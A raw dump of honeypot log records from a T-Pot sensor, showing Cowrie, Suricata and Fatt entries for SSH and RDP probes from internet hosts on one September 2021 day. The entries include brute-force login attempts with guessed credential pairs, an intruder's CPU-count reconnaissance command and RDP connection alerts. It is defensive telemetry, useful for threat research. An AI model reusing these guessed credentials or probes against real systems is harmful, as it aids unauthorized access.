31982	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:48:30.843017+03	2021-09-20 15:00:02.875717+03	{"_id": "cgYJA3wBvYTbRNuEQkdl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [mail1/mail1] failed", "session": "04d8bedba0cf", "@version": "1", "password": "mail1", "username": "mail1", "timestamp": "2021-09-20T11:48:30.843017Z", "@timestamp": "2021-09-20T11:48:30.843Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31983	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:48:30.403096+03	2021-09-20 15:00:02.876717+03	{"_id": "cwYJA3wBvYTbRNuEQ0fz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "flow_id": 2103597488573187, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39620, "dest_port": 22, "timestamp": "2021-09-20T11:48:30.403096Z", "@timestamp": "2021-09-20T11:48:30.403Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31984	176.60.208.43	109.199.241.180	Fatt	2021-09-20 14:48:30.403347+03	2021-09-20 15:00:02.877717+03	{"_id": "dQYJA3wBvYTbRNuEREf2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "176.60.208.43", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39620, "dest_port": 22, "timestamp": "2021-09-20T11:48:30.403347", "@timestamp": "2021-09-20T11:48:30.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31985	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:48:32.476911+03	2021-09-20 15:00:02.879716+03	{"_id": "fQYJA3wBvYTbRNuESkc3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "788fab6685a6", "@version": "1", "timestamp": "2021-09-20T11:48:32.476911Z", "@timestamp": "2021-09-20T11:48:32.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31986	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:48:28.097663+03	2021-09-20 15:00:02.880717+03	{"_id": "WQYJA3wBvYTbRNuEOEc4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:48:27.330736+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 27702355233776, "payload": "AAADzAYUebaWaDAhH7vCCAeAxn2/oQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48484, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:48:28.097663Z", "@timestamp": "2021-09-20T11:48:28.097Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......y..h0!.......}.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31993	192.168.20.103	109.199.241.180	Suricata	2021-09-20 14:48:29.94221+03	2021-09-20 15:00:02.889717+03	{"_id": "ZwYJA3wBvYTbRNuEQEcJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:48:29.942210Z", "@timestamp": "2021-09-20T11:48:29.942Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
31987	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:48:27.717303+03	2021-09-20 15:00:02.881716+03	{"_id": "WwYJA3wBvYTbRNuEOUc8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48484, "timestamp": "2021-09-20T11:48:27.717303", "@timestamp": "2021-09-20T11:48:27.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31988	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:48:33.154925+03	2021-09-20 15:00:02.882716+03	{"_id": "gwYJA3wBvYTbRNuETkcf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.login.failed", "message": "login attempt [david/abc123] failed", "session": "2c05cf2e48a2", "@version": "1", "password": "abc123", "username": "david", "timestamp": "2021-09-20T11:48:33.154925Z", "@timestamp": "2021-09-20T11:48:33.154Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31989	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:48:33.653253+03	2021-09-20 15:00:02.884717+03	{"_id": "hQYJA3wBvYTbRNuET0et", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:33.331567+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 994759339478831, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62109, "dest_port": 3389, "timestamp": "2021-09-20T11:48:33.653253Z", "@timestamp": "2021-09-20T11:48:33.653Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31990	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:48:29.363367+03	2021-09-20 15:00:02.885717+03	{"_id": "YwYJA3wBvYTbRNuEPkd7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 190.201.223.33:60512 (192.168.176.2:22) [session: 2c05cf2e48a2]", "session": "2c05cf2e48a2", "@version": "1", "protocol": "ssh", "src_port": 60512, "dest_port": 22, "timestamp": "2021-09-20T11:48:29.363367Z", "@timestamp": "2021-09-20T11:48:29.363Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31991	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:48:29.678953+03	2021-09-20 15:00:02.886716+03	{"_id": "ZAYJA3wBvYTbRNuEPkd7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "2c05cf2e48a2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:48:29.678953Z", "@timestamp": "2021-09-20T11:48:29.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32004	120.36.157.98	109.199.241.180	Suricata	2021-09-20 14:48:54.544675+03	2021-09-20 15:00:02.902717+03	{"_id": "vwYJA3wBvYTbRNuEoUe9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:48:53.923225+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1422134356547161, "payload": "AAADzAYUssw+VHLI9hdzBfJJPEyAAQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58318, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:48:54.544675Z", "@timestamp": "2021-09-20T11:48:54.544Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........>Tr...s..I<L.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31994	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:48:33.653253+03	2021-09-20 15:00:02.890717+03	{"_id": "hgYJA3wBvYTbRNuET0et", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:33.331567+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 994759339478831, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 62109, "dest_port": 3389, "timestamp": "2021-09-20T11:48:33.653253Z", "@timestamp": "2021-09-20T11:48:33.653Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31995	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:48:34.00841+03	2021-09-20 15:00:02.892716+03	{"_id": "hwYJA3wBvYTbRNuET0et", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:48:33.331567+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 994759339478831, "payload": 